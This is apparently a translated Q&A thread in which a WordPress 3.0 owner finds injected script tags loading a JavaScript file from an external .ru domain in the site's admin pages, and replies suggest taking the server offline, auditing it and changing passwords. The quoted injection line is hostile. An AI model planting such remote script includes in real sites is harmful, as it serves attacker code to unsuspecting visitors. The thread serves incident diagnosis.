2010-08-11 61 views
0

我有一個網站與wordpress 3.0。wordpress 3.0安全性?

我注意到/ wp-admin今天顯示以下錯誤。

警告:無法修改標頭信息 - (/輸出開始於/www/sites/.../files/html/wp-includes/default-constants.php:299)/ www/sites/..com/files/html/wp-includes/pluggable.php on line 890

我用IE的查看源代碼。我發現了下面的代碼。

script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script> 
<!--661c36e2c5591b25cbc164e7b376623b--> 
<script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script> 
<!--661c36e2c5591b25cbc164e7b376623b--><script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script> 
<!--661c36e2c5591b25cbc164e7b376623b--><br /> 

它看起來像我的網站已被黑客入侵。

我只啓用了cforms插件。

有什麼想法或建議嗎?

+0

找到被黑的模塊/表/文件並將其刪除。 – 2010-08-11 18:11:10

回答

1

將服務器脫機,然後對其運行安全審覈,併爲其上載內容的任何客戶端運行安全審覈。然後更改所有密碼。

+0

Dorward //感謝您的建議。所以..它可能不是由WP或WP插件引起的? – Moon 2010-08-11 18:23:39

+0

WordPress 3.0.1已經出來,它可能是一個安全更新(我沒有選中),因此可能是漏洞。我對CFForms一無所知。這可能是服務器上的一個不相關的漏洞。它可能是惡意軟件在客戶端上嗅探了一個ftp密碼。這就是安全審計的重點。 – Quentin 2010-08-11 18:26:58

+1

3.0.1不是安全發佈。 – 2010-08-11 18:36:22